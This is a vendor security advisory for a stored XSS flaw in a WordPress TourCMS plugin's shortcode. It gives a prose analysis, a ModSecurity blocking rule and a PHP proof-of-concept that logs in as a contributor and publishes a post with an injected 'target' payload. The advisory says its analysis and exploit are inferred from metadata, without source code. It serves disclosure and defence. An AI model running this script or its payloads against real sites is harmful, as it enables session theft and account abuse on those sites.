Atomic Edge analysis of CVE-2026-1806 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Tour & Activity Operator Plugin for TourCMS WordPress plugin, affecting versions up to and including 1.7.0. The vulnerability exists within the plugin’s ‘tourcms_doc_link’ shortcode handler, specifically in its ‘target’ parameter. Attackers with Contributor-level privileges or higher can inject malicious scripts that persist in the database and execute when a user views the compromised page. The CVSS 3.1 score of 6.4 (Medium severity) reflects the authenticated nature and limited scope impact.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping, consistent with CWE-79. The vulnerability description indicates the plugin fails to properly neutralize user-supplied input in the shortcode’s ‘target’ attribute before storing it in the database. The plugin also fails to escape this data when outputting it in rendered pages. These conclusions are inferred from the CWE classification and vulnerability description, as no source code diff is available for confirmation.
Exploitation requires an authenticated attacker with at least Contributor-level access. The attacker creates or edits a post or page containing the vulnerable shortcode with a malicious ‘target’ attribute payload. A typical attack payload would resemble [tourcms_doc_link target=”javascript:alert(document.cookie)”]. When WordPress renders the page containing this shortcode, the plugin outputs the unsanitized ‘target’ value into an HTML attribute context, executing the injected JavaScript in visitors’ browsers.
Remediation requires implementing proper input validation and output escaping. The plugin should validate the ‘target’ parameter against an allowlist of safe values (e.g., ‘_blank’, ‘_self’, ‘_parent’, ‘_top’). For output, the plugin must escape the attribute using WordPress functions like esc_attr() before inserting it into HTML. A comprehensive fix would also implement proper capability checks on shortcode processing functions, though the vulnerability description indicates authentication requirements are already present.
Successful exploitation allows attackers to perform actions within the victim’s browser context. This includes stealing session cookies, performing actions as the authenticated user, defacing website content, or redirecting users to malicious sites. The stored nature means a single injection affects all users who view the compromised page. While the Contributor-level requirement limits immediate administrative access, attackers can chain this with social engineering or other vulnerabilities for privilege escalation.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-1806 (metadata-based)
# This rule blocks exploitation of the stored XSS vulnerability in the TourCMS plugin
# by detecting malicious payloads in the 'target' parameter of posts/pages.
# The rule specifically targets the shortcode attribute injection vector.
SecRule REQUEST_FILENAME "@endsWith /wp-admin/post.php"
"id:20261806,phase:2,deny,status:403,chain,msg:'CVE-2026-1806: TourCMS Plugin Stored XSS via tourcms_doc_link shortcode',severity:'CRITICAL',tag:'CVE-2026-1806',tag:'WordPress',tag:'Plugin/Tour-Operator-Plugin',tag:'attack-xss'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:content "@rx \[tourcms_doc_link[^\]]*target\s*=\s*['"]?[^_\w]"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,logdata:'Matched %{MATCHED_VAR}'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1806 - Tour & Activity Operator Plugin for TourCMS <= 1.7.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
/**
* Proof of Concept for CVE-2026-1806
* Assumptions based on vulnerability description:
* 1. The plugin registers a shortcode 'tourcms_doc_link'
* 2. The shortcode accepts a 'target' parameter
* 3. Contributor+ users can publish posts with this shortcode
* 4. No source code available - this PoC simulates the attack vector
*/
$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload to inject into the shortcode's target parameter
// This executes when the page loads via the onmouseover event
$malicious_target = '" onmouseover="alert(document.domain)"';
// Construct the shortcode with malicious payload
$shortcode_payload = '[tourcms_doc_link target=' . $malicious_target . ']';
// WordPress authentication and post creation
$ch = curl_init();
// Step 1: Get login nonce and cookies
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
// Step 2: Authenticate
$post_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_fields)
]);
$response = curl_exec($ch);
// Step 3: Create a new post with the malicious shortcode
// Get nonce for new post (simplified - real implementation would parse admin page)
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/post-new.php',
CURLOPT_POST => false
]);
$response = curl_exec($ch);
// Step 4: Submit the post with the malicious shortcode
$post_data = [
'post_title' => 'TourCMS XSS Test - ' . date('Y-m-d H:i:s'),
'content' => 'This post contains a malicious TourCMS shortcode:nn' . $shortcode_payload . 'nnView the page to trigger the XSS.',
'publish' => 'Publish',
'post_type' => 'post',
'_wpnonce' => '{{nonce_would_be_extracted_here}}', // Placeholder for actual nonce
'_wp_http_referer' => '/wp-admin/post-new.php'
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/post.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data)
]);
$response = curl_exec($ch);
// Check if post was created successfully
if (strpos($response, 'Post published.') !== false || strpos($response, 'Post updated.') !== false) {
echo "[+] Exploit successful. Malicious shortcode injected.n";
echo "[+] Visit the published post to trigger the XSS payload.n";
} else {
echo "[-] Exploit may have failed. Check authentication and permissions.n";
}
curl_close($ch);
?>